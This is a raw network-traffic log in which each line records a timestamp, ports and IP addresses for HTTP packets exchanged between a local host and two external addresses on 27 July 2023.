Jul 27, 2023 18:27:09.795733929 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795739889 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795759916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795772076 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795778990 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795799017 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795819044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795825958 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795838118 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795849085 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795857906 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795876026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795888901 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795897007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795917034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795937061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795944929 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795957088 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795967102 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795977116 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795995951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796008110 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796015978 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796035051 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796055079 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796062946 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796075106 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796082973 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796093941 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796116114 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796123028 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796135902 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796155930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796164036 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796175957 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796195984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796200991 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796216011 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796236038 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796241999 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.796256065 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.796315908 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.798789978 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.798839092 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801271915 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801295042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801314116 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801333904 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801352978 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801371098 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801383018 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801392078 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801402092 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801410913 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801429987 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801450014 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801460028 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801469088 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801485062 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801487923 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801507950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801522017 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801527023 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801547050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801564932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801568031 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801584005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801589012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801604986 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801624060 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801636934 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801642895 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801661968 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801676989 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801681042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801700115 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801718950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801734924 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801738024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801754951 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801755905 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801774979 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801794052 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801795006 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801815033 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801831961 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801837921 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801851034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801856995 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801870108 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801888943 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801899910 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801908016 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801927090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801943064 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801945925 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801964998 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.801978111 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.801983118 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802004099 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802023888 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802035093 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802042007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802058935 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802062988 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802083015 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802093029 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802102089 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802120924 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802134991 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802139997 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802160025 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802179098 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802194118 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802197933 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802215099 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802217960 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802251101 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802531958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802567959 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802587032 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802608013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802620888 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802627087 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802648067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802650928 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802666903 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802670002 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802685976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802705050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802717924 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802725077 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802743912 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802762032 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802763939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802783966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802787066 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802803040 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802822113 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.802835941 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.802874088 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.803127050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803236008 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803267956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803288937 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803291082 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.803308010 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803328991 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803337097 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.803348064 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803368092 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803388119 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803397894 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.803407907 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.803420067 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.803461075 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.812525034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.812546015 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.812563896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.812639952 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818147898 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818172932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818197966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818221092 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818244934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818269014 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818294048 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818303108 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818303108 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818303108 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818317890 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818341970 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818357944 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818367004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818387985 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818391085 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818413973 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818438053 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818461895 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818471909 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818486929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818495035 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818511963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818536043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818559885 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818562031 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818588018 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818593979 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818618059 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818641901 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818666935 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818669081 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818691015 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818694115 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818716049 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818741083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818763018 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818770885 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818789005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818789959 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818811893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818835974 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818861008 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818862915 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818883896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818891048 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818907976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818932056 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818954945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.818955898 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818975925 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.818979979 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819004059 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819029093 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819051981 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819055080 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819073915 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819077015 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819154024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819178104 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819201946 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819202900 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819227934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819226980 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819252014 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819277048 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819303036 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819305897 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819325924 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819327116 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819350958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819374084 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819397926 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819402933 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819421053 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819422007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819442034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819466114 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819490910 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819514036 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819519043 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819536924 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819557905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819561958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819578886 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819587946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819611073 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819634914 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819641113 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819658995 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819662094 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819683075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819710970 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819735050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819736004 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819758892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819777012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819777012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819785118 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819806099 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819808960 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819833040 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819856882 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819860935 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819881916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819905996 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819928885 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819935083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819952965 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.819956064 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.819977045 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820000887 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820024967 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820027113 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820044041 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820050001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820070028 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820092916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820116997 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820122957 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820142031 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820142031 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820168018 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820192099 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820214987 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820218086 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820239067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820242882 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820274115 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820302010 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820326090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820333958 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820349932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820353985 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820374012 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820396900 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820420980 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820424080 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820441961 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820445061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820470095 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820492983 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820517063 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820518970 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820539951 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820540905 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820564032 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820589066 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820614100 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820615053 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820636988 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820640087 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820661068 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820683956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820698977 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820707083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820718050 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820730925 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820753098 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820754051 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820777893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820779085 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820802927 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820827007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820851088 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820861101 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820873022 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820897102 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820902109 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820920944 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820941925 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.820954084 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.820967913 CEST	80	49712	103.100.211.218	192.168.2.4
